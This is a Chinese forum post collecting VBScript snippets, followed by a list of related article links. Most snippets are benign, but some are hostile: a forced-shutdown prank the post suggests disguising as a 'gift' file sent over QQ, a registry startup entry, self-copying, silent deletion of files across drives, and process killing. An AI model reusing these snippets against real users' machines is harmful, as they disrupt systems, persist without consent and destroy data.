该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习。

VBS播放音乐

Dim wmp

Set wmp = CreateObject("WMPlayer.OCX")

wmp.openState

wmp.URL = "想象之中.mp3"

Do Until wmp.playState = 1

WScript.Sleep 1000

Loop

比较流行的VBS整人脚本(保存为“礼物.VBE”这样就可以通过QQ发送了)

Set shell=CreateObject("WScript.Shell")

shell.run "shutdown -s -t 60 -c 系统即将关闭.",0

While InputBox("请输入答案","请回答")<>"123" *密码是123

MsgBox "答案在心中...",16+4096 *4096 是让窗口在最顶层

Wend

shell.run "shutdown -a",0

MsgBox "恭喜",64

修改桌面背景图片

Sphoto="d:\1.bmp"*输入你自己的BMP路径

computer="."

Const hkcu=&h80000001

Set wmi=GetObject("winmgmts:\\"& computer &"\root\default:stdregprov")

wmi.getstringvalue hkcu,"Control Panel\Desktop","Wallpaper",Spath

wmi.setstringvalue hkcu,"Control Panel\Desktop","TileWallpaper","0"

wmi.setstringvalue hkcu,"Control Panel\Desktop","WallpaperStyle","2"

wmi.setdwordvalue hkcu,"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced","ListviewShadow",1

Set wmi=Nothing

Set fso=CreateObject("scripting.filesystemobject")

Set fs=fso.Getfile(Sphoto)

backname=fs.name

fs.Name=fso.GetFileName(Spath)

fs.Copy fso.GetParentFolderName(Spath) & "\",True

fs.Name=backname

Set fso=Nothing

Set ws=CreateObject("wscript.shell")

ws.Run "gpupdate /force",vbhide

ws.Run "RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters"

Set ws=Nothing

VBS获取系统安装路径C:\WINDOWS路径

先定义这个变量是获取系统安装路径的,然后我们用"strWinDir"调用这个变量。

Set WshShell = WScript.CreateObject("WScript.Shell")

strWinDir = WshShell.ExpandEnvironmentStrings("%WinDir%")

VBS获取C:\Program Files路径

Set WshShell = WScript.CreateObject("WScript.Shell")

strPorDir = WshShell.ExpandEnvironmentStrings("%ProgramFiles%")

VBS获取C:\Program Files\Common Files路径

Set WshShell = WScript.CreateObject("WScript.Shell")

strCommDir = WshShell.ExpandEnvironmentStrings("%CommonProgramFiles%")

给桌面添加网址快捷方式

Set WshShell = WScript.CreateObject("Wscript.Shell")

strDesktop = WshShell.SpecialFolders("Desktop")

Set oShellLink = WshShell.CreateShortcut(strDesktop & "\百度.lnk")

oShellLink.TargetPath = "http://www.baidu.com/"

oShellLink.Description = "百度主页"

oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0"

oShellLink.Save

给收藏夹添加网址

Const ADMINISTRATIVE_TOOLS = 6

Set objShell = CreateObject("Shell.Application")

Set objFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)

Set objFolderItem = objFolder.Self

Set objShell = WScript.CreateObject("WScript.Shell")

strDesktopFld = objFolderItem.Path

Set objURLShortcut = objShell.CreateShortcut(strDesktopFld & "\百度.url")

objURLShortcut.TargetPath = "http://www.baidu.com/"

objURLShortcut.Save

删除指定目录指定后缀文件

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile "C:\*.vbs", True

Set fso = Nothing

VBS改主页

Set oShell = CreateObject("WScript.Shell")

oShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com/"

VBS加启动项

Set oShell=CreateObject("Wscript.Shell")

oShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\cmd","cmd.exe"

VBS复制自己到C盘

Dim fso

Set fso = WScript.CreateObject("Scripting.Filesystemobject")

fso.getfile(wscript.scriptfullname).copy("c:\cik.vbs")

复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的cik.exe)

Dim fso

Set fso = WScript.CreateObject("Scripting.Filesystemobject")

fso.getfile("game.exe").copy("c:\cik.exe")

VBS获取系统临时目录

Dim fso

Set fso = CreateObject("Scripting.FileSystemObject")

Dim tempfolder

Const TemporaryFolder = 2

Set tempfolder = fso.GetSpecialFolder(TemporaryFolder)

Wscript.Echo tempfolder

就算代码出错 依然继续执行

On Error Resume Next

VBS打开网址

Set objShell = CreateObject("Wscript.Shell")

objShell.Run("http://www.baidu.com/")

VBS发送邮件

NameSpace = "http://schemas.microsoft.com/cdo/configuration/"

Set Email = CreateObject("CDO.Message")

Email.From = "发件@qq.com"

Email.To = "收件@qq.com"

Email.Subject = "这里写标题"

Email.Textbody = "这里写内容!"

Email.AddAttachment "C:\这是附件.txt"

With Email.Configuration.Fields

.Item(NameSpace&"sendusing") = 2

.Item(NameSpace&"smtpserver") = "smtp.qq.com"

.Item(NameSpace&"smtpserverport") = 25

.Item(NameSpace&"smtpauthenticate") = 1

.Item(NameSpace&"sendusername") = "发件人用户名"

.Item(NameSpace&"sendpassword") = "发件人密码"

.Update

End With

Email.Send

VBS结束进程

strComputer = "."

Set objWMIService = GetObject _

("winmgmts:\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery _

("Select * from Win32_Process Where Name = *Rar.exe*")

For Each objProcess in colProcessList

objProcess.Terminate()

Next

VBS隐藏打开网址(部分浏览器无法隐藏打开,而是直接打开,适合主流用户使用)

createObject("wscript.shell").run "start http://www.baidu.com/",0

兼容所有浏览器,使用IE的绝对路径+参数打开,无法用函数得到IE安装路径,只用函数得到了Program Files路径,应该比上面的方法好,但是两种方法都不是绝对的。

Set objws=WScript.CreateObject("wscript.shell")

objws.Run """C:\Program Files\Internet Explorer\iexplore.exe""http://www.baidu.com",0

VBS遍历硬盘删除指定文件名

On Error Resume Next

Dim fPath

strComputer = "."

Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set colProcessList = objWMIService.ExecQuery("Select * from Win32_Process Where Name = *gangzi.exe*")

For Each objProcess In colProcessList

objProcess.Terminate()

Next

Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

Set colDirs = objWMIService.ExecQuery("Select * from Win32_Directory where name LIKE *%c:%* or name LIKE *%d:%* or name LIKE *%e:%* or name LIKE *%f:%* or name LIKE *%g:%* or name LIKE *%h:%* or name LIKE *%i:%*")

Set objFSO = CreateObject("Scripting.FileSystemObject")

For Each objDir In colDirs

fPath = objDir.Name & "\cik.exe"

*如果文件名是cik.exe就删除

objFSO.DeleteFile(fPath), True

Next

Linux上类似vbs脚本,VBS脚本常用经典代码收集相关推荐

  1. VBS脚本常用经典代码收集

    在网上查找资料的时候发现好多经典的vbs代码,收集起来也为了以后学习. VBS脚本用途很多: 1. 计算 2. 处理文件和文件夹 3. 管理Windows 4. 处理Word, Excel, Powe ...

  2. C语言成绩abc,C语言常用经典代码:求三角形的面积、把百分制成绩转换为ABC等级制、其两个自然数的最大公约数和最小公倍数...

    C语言 经典常用代码 C语言常用经典代码 求三角形的面积. 把百分制成绩转换为ABC等级制. 其两个自然数的最大公约数和最小公倍数. 求输入n个数的平均值. 求一个数各个位上的数字之和. 求n个数的阶 ...

  3. linux 补丁脚本,Linux上打patch补丁包脚本全解

    今天我又要展示一样重要的技术--在Linux上写patch脚本,话不多说,且看: 一 . 首先要打的包肯定是回滚事物包, 就是BackUp包, 在我们要打补丁前当然要备份服务器上的数据,不然出了问题, ...

  4. R语言命令行写linux,如何在Linux上编写和使用R脚本

    --by不是杀杀 虽然大多数时候在Windows下和在Jupyter中能够非常方便快捷地进行R语言编程,但对于处理数据量较大的工作时,还是避免不了需要在服务器上运行我们写的代码,那么我们要如何方便快捷 ...

  5. linux ghost功能,在linux上用dd命令实现ghost功能(示例代码)

    转自:http://blog.jobbole.com/90978/ ghost和g4l 安装操作系统,速度太慢,整个过程太冗长乏味了. 安装过程中,需要回答若干问题,系统需要安装无数个软件,创建和写入 ...

  6. linux上简单的run.sh脚本,用来执行java -jar,包含启动停止重启

    #:/bin/sh . /etc/profile CURRENT_DIR=$(cd $(dirname $0); pwd)start(){nohup java -jar ${CURRENT_DIR}/ ...

  7. linux 上plsql命令_Linux环境Oracle常用命令

    xargs是给命令传递参数的一个过滤器,也是组合多个命令的一个工具.下面这篇文章主要给大家介绍了关于linux中xargs命令用法的相关资料,需要的朋友可以参考借鉴,下面来跟着小编一起看看吧.前言xa ...

  8. linux crs,linux上oracle rac集群 crs常用命令

    常用的crs命令如下: $ORA_CRS_HOME/bin/crs_stat –t? 此命令主要用来检查crs资源状态 例如 [oracle@rac2 css]$ $ORA_CRS_HOME/bin/ ...

  9. linux上类似迅雷的软件,linux下有没有像迅雷或者快车的那种下载软件?

    clark_2011 于 2011-04-02 17:17:55发表: 学习中! teber 于 2011-04-02 11:39:13发表: 一直用迅雷,看来下东西还要两个系统来回切了, 要是能多台 ...

最新文章

  1. 2022-2028年中国老年旅游市场深度调研及开发战略研究报告
  2. [JAVA EE]session 和 token 机制
  3. oracle RAC的VIP和scan
  4. Python程序设计题解【蓝桥杯官网题库】 DAY12-算法训练
  5. Java Web - Struts2基本执行流程
  6. python自定义包_详解python自定义模块、包
  7. 使用DETR指令提取电子客票票面信息
  8. android 铃声位置
  9. 《Python 黑科技》代理ip奇技淫巧
  10. 深度学习2.0-19.随机梯度下降之可视化与实战
  11. 使用VSCode玩转Java (二)
  12. mysql操作 菜鸟,菜鸟通关宝典之mysql基础操作
  13. html怎么让图片在左侧文字在右边,网页设计 怎么让图片在左 文字在右
  14. Snagit 截图不清晰问题解决
  15. WVPPro+ZLMediaKit+大华相机推流+安卓模拟GB28181设备推流
  16. 情人节能有什么好作品?教你用Scratch写一个!
  17. Python Pandas库教程
  18. arugsJS 入门
  19. 虚拟机服务器异常怎么解决,windows server 2016 虚拟机异常关闭
  20. 精通正则表达式学习记录 第二章 入门示例扩展

热门文章

  1. linux面试题_全网最新、最全Linux面试题(2020版)!
  2. Git 强制更新覆盖本地代码
  3. ArcGIS:如何利用栅格数据进行路径网络分析-可达性分析?
  4. vc++指定区域截屏
  5. 递归算法转换成非递归算法
  6. 宁波诺丁汉计算机学院,宁波诺丁汉大学学子帝国理工计算机录取
  7. OpenCV实战——拟合直线
  8. 魔方(11)八轴三阶魔方(恐龙魔方)
  9. MySQL索引的数据结构及算法原理
  10. 前端html网页,点击按钮或超链接 弹出 一个登陆的div窗口或者对话框